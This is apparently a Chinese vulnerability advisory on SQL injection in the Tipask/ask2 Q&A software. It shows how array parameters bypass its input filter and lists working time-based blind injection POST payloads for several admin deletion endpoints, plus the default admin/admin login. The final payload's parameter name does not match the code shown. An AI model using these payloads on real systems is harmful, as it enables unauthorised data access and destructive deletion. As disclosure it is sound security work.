先来看看该套源码的整体防注入:GPC转义+360的防御正则
很粗暴有没有,不过这里利用的是数组全面绕过360的防御正则,然后找到一些没有单引号包含的点,从而绕过单引号转义,绕过这两个,自然可以无限制任意注入初始化过滤在D:\wamp\www\ask2V3.1.1\model\sowenda.class.php中init_request函数,在大概第60行
```
$this->get = taddslashes($this->get, 1);
$this->post = taddslashes(array_merge($_GET, $_POST));
checkattack($this->post, 'post');
checkattack($this->get, 'get');
unset($_POST);
```
这里进行转义,合并get ,post变量,checkattck检测等一些操作,这里如果post输入端提交的变量是数组的话,那么$this->post这个将是一个二维数组,即数组里面套数组,然后被带入到checkattack函数中进行一些正则的检测(这个正则就是360写的,很粗暴,就算绕过,获取的数据也很有限)checkattack函数在D:\wamp\www\tipask\lib\global.func.php中
```
function checkattack($reqarr, $reqtype = 'post') {
$filtertable = array(
'get' => '\'|(and|or)\\b.+?(>|<|=|in|like)|\\/\\*.+?\\*\\/|<\\s*script\\b|\\bEXEC\\b|UNION.+?SELECT|UPDATE.+?SET|INSERT\\s+INTO.+?VALUES|(SELECT|DELETE).+?FROM|(CREATE|ALTER|DROP|TRUNCATE)\\s+(TABLE|DATABASE)',
'post' => '\\b(and|or)\\b.{1,6}?(=|>|<|\\bin\\b|\\blike\\b)|\\/\\*.+?\\*\\/|<\\s\\b|\\bEXEC\\b|UNION.+?SELECT|UPDATE.+?SET|INSERT\\s+INTO.+?VALUES|(SELECT|DELETE).+?FROM|(CREATE|ALTER|DROP|TRUNCATE)\\s+(TABLE|DATABASE)',
'cookie' => '\\b(and|or)\\b.{1,6}?(=|>|<|\\bin\\b|\\blike\\b)|\\/\\*.+?\\*\\/|<\\s*script\\b|\\bEXEC\\b|UNION.+?SELECT|UPDATE.+?SET|INSERT\\s+INTO.+?VALUES|(SELECT|DELETE).+?FROM|(CREATE|ALTER|DROP|TRUNCATE)\\s+(TABLE|DATABASE)'
);
foreach ($reqarr as $reqkey => $reqvalue) {
if (preg_match("/" . $filtertable[$reqtype] . "/is", $reqvalue) == 1 && !in_array($reqkey, array('content'))) {
print('Illegal operation!');
exit(-1);
}
}
}
```
可以看到如果$reqarr是一维数组的话,那么自然被过滤了,如果$reqarr是二维数组的话,就绕过了这个函数
在D:\wamp\www\ask2V3.1.1\control\message.php中的onremove函数
```
function onremove() {
if (isset($this->post['submit'])) {
$inbox = $this->post['messageid']['inbox'];
$outbox = $this->post['messageid']['outbox'];
if ($inbox)
$_ENV['message']->remove("inbox", $inbox);
if ($outbox)
$_ENV['message']->remove("outbox", $outbox);
$this->message("消息删除成功!", get_url_source());
}
}
```
如果我提交的变量messageid是数组(包含inbox和outbox)的话,自然可以绕过上面说的哪两种防注入,然后inbox和outbox变量分别被带入
```
$_ENV['message']->remove("inbox", $inbox);
$_ENV['message']->remove("outbox", $outbox);
```
执行,跟进remove函数
```
function remove($type, $msgids) {
$messageid = ($msgids && is_array($msgids)) ? implode(",", $msgids) : $msgids;
if ('inbox' == $type) {
$this->db->query("DELETE FROM " . DB_TABLEPRE . "message WHERE fromuid=0 AND `id` IN ($messageid)");
$this->db->query("DELETE FROM " . DB_TABLEPRE . "message WHERE status = 1 AND `id` IN ($messageid)");
$this->db->query("UPDATE " . DB_TABLEPRE . "message SET status=2 WHERE status=0 AND `id` IN ($messageid)");
} else {
$this->db->query("DELETE FROM " . DB_TABLEPRE . "message WHERE status = 2 AND `id` IN ($messageid)");
$this->db->query("UPDATE " . DB_TABLEPRE . "message SET status=1 WHERE status=0 AND `id` IN ($messageid)");
}
}
```
可以看到变量msgids直接被拼接到了SQL语句中,造成注入
![](https://images.seebug.org/contribute/12b9e509-dd1e-4c4e-8f57-89f52bdd8224)
以上内容来自用户 @404notfound
---
### 0x00 漏洞分析
首先我们需要有管理员的账号密码,在本系统中默认是admin/admin。
关于如何绕过`checkattack`函数请看https://www.seebug.org/vuldb/ssvid-92230
下面来看注入点:
- `/control/admin/word.php`第24-34行:
```php
function onadd() {
if (isset($this->post['submit']) && $this->post['id']) {
$ids = implode(",", $this->post['id']);
$_ENV['badword']->remove_by_id($ids);
$message = "删除成功!";
} else {
$_ENV['badword']->add($this->post['wid'], $this->post['find'], $this->post['replacement'], $this->user['username']);
$message = "修改成功!";
}
$this->ondefault($message);
}
```
我们为绕过`checkout`传递的数组到这里被逐项连接起来然后传入`remove_by_id`函数,跟进`/model/badword.class.php`第46-48行:
```php
function remove_by_id($ids){
$this->db->query("DELETE FROM ".DB_TABLEPRE."badword WHERE `id` IN ($ids)");
}
```
连接后的数组直接被带入查询且无需引号闭合,可以进行注入,可以通过如下请求进行测试(注:**所有这些注入点都涉及到删除请求,请谨慎测试**)
- URL:http://127.0.0.1:8888/index.php?admin_word/add
- POST: `submit=111&id[]=111&id[]=111 and (select * from (select sleep(5))a)`
提交后我们可以发现延时现象,或者当MySQL开启query log的时候我们可以通过查query log来确定语句的执行。以下几处问题类似,不再详细说明。
- `/control/admin/note.php`第50-58行:
```php
function onremove() {
$message = '没有选择公告!';
if (isset($this->post['delete'])) {
$ids = implode(",", $this->post['delete']);
$_ENV['note']->remove_by_id($ids);
$message = '公告刪除成功!';
}
$this->ondefault($message);
}
```
`/model/note.class.php`第51-53行:
```php
function remove_by_id($ids) {
$this->db->query("DELETE FROM `" . DB_TABLEPRE . "note` WHERE `id` IN ($ids)");
}
```
- URL:http://127.0.0.1:8888/index.php?admin_note/remove
- POST: `delete[]=111&delete[]=111 and (select * from (select sleep(5))a)`
- `/control/admin/datacall.php`第52-58行:
```php
function onremove() {
if(isset($this->post['delete'])) {
$ids = implode($this->post['delete'],",");
$_ENV['datacall']->remove_by_id($ids);
$this->ondefault();
}
}
```
`/model/datacall.class.php`第40-42行:
```php
function remove_by_id($ids) {
$this->db->query("DELETE FROM `".DB_TABLEPRE."datacall` WHERE `id` IN ($ids)");
}
```
- URL:http://127.0.0.1:8888/index.php?admin_datacall/remove
- POST: `delete[]=111&delete[]=111 and (select * from (select sleep(5))a)`
- `/control/admin/gift.php`第123-132行:
```php
function onremove() {
$message = '没有选择礼品!';
if (isset($this->post['gid'])) {
$gids = implode(",", $this->post['gid']);
$_ENV['gift']->remove_by_id($gids);
$message = '礼品删除成功!';
unset($this->get);
}
$this->ondefault($message);
}
```
`/model/gift.class.php`第60-62行:
```php
function remove_by_id($ids) {
$this->db->query("DELETE FROM `" . DB_TABLEPRE . "gift` WHERE `id` IN ($ids)");
}
```
- URL:http://127.0.0.1:8888/index.php?admin_gift/remove
- POST: `gid[]=111&gid[]=111 and (select * from (select sleep(5))a)`
- `/control/admin/category.php`第97-104行:
```php
function onremove() {
if (isset($this->post['cid'])) {
$cids = implode(",", $this->post['cid']);
$pid = intval($this->post['hiddencid']);
$_ENV['category']->remove($cids);
$this->onview($pid, '分类删除成功!');
}
}
```
`/model/category.class.php`第172-176行:
```php
function remove($cids) {
$this->db->query("DELETE FROM `" . DB_TABLEPRE . "category` WHERE `id` IN ($cids)");
$this->db->query("DELETE FROM `" . DB_TABLEPRE . "question` WHERE `cid` IN ($cids)");
}
```
- URL:http://127.0.0.1:8888/index.php?admin_category/remove
- POST: `hiddencid=111&cid[]=111&cid[]=111 and (select * from (select sleep(5))a)`
- `/control/admin/expert.php`第52-59行:
```php
function onremove() {
if (count($this->post['delete'])) {
$_ENV['expert']->remove(implode(',', $this->post['delete']));
$type = 'correctmsg';
$message = "删除成功!";
$this->ondefault($message);
}
}
```
`/model/expert.class.php`第55-58行:
```php
function remove($uids) {
$this->db->query("UPDATE " . DB_TABLEPRE . "user SET `expert`=0 WHERE uid IN ($uids)");
$this->db->query("DELETE FROM " . DB_TABLEPRE . "user_category WHERE uid IN ($uids)");
}
```
- URL:http://127.0.0.1:8888/index.php?admin_expert/remove
- POST: `delete[]=111&delete[]=111 and (select * from (select sleep(5))a)`
- `/control/admin/topic.php`第132-138行:
```php
function onremove() {
if (isset($this->post['tid'])) {
$tids = implode(",", $this->post['tid']);
$_ENV['topic']->remove($tids);
$this->ondefault('专题删除成功!');
}
}
```
`/model/topic.class.php`第174-177行:
```php
function remove($tids) {
$this->db->query("DELETE FROM `" . DB_TABLEPRE . "topic` WHERE `id` IN ($tids)");
$this->db->query("DELETE FROM `" . DB_TABLEPRE . "tid_qid` WHERE `tid` IN ($tids)");
}
```
- URL:http://127.0.0.1:8888/index.php?admin_topic/remove
- POST: `tid[]=111&tid[]=111 and (select * from (select sleep(5))a)`
- `/control/admin/user.php`第98-105行:
```php
function onremove() {
if (isset($this->post['uid'])) {
$uids = implode(",", $this->post['uid']);
$all = isset($this->get[2]) ? 1 : 0;
$_ENV['user']->remove($uids, $all);
$this->ondefault('用户删除成功!');
}
}
```
`/model/user.class.php`第233-242行:
```php
function remove($uids, $all = 0) {
$this->db->query("DELETE FROM `" . DB_TABLEPRE . "user` WHERE `uid` IN ($uids)");
$this->db->query("DELETE FROM `" . DB_TABLEPRE . "famous` WHERE `uid` IN ($uids)");
/* 删除问题和回答 */
if ($all) {
$this->db->query("DELETE FROM `" . DB_TABLEPRE . "question` WHERE `authorid` IN ($uids)");
$this->db->query("DELETE FROM `" . DB_TABLEPRE . "answer` WHERE `authorid` IN ($uids)");
$this->db->query("UPDATE `" . DB_TABLEPRE . "question` SET answers=answers-1 WHERE `authorid` IN ($uids)");
}
}
```
- URL:http://127.0.0.1:8888/index.php?admin_user/remove
- POST: `tid[]=111&tid[]=111 and (select * from (select sleep(5))a)`
### 0x01 修复建议
- 对厂商来讲,采用参数化查询
- 对用户来讲,在厂商更新后及时进行更新
### 0x02 参考
https://www.seebug.org/vuldb/ssvid-92230
暂无评论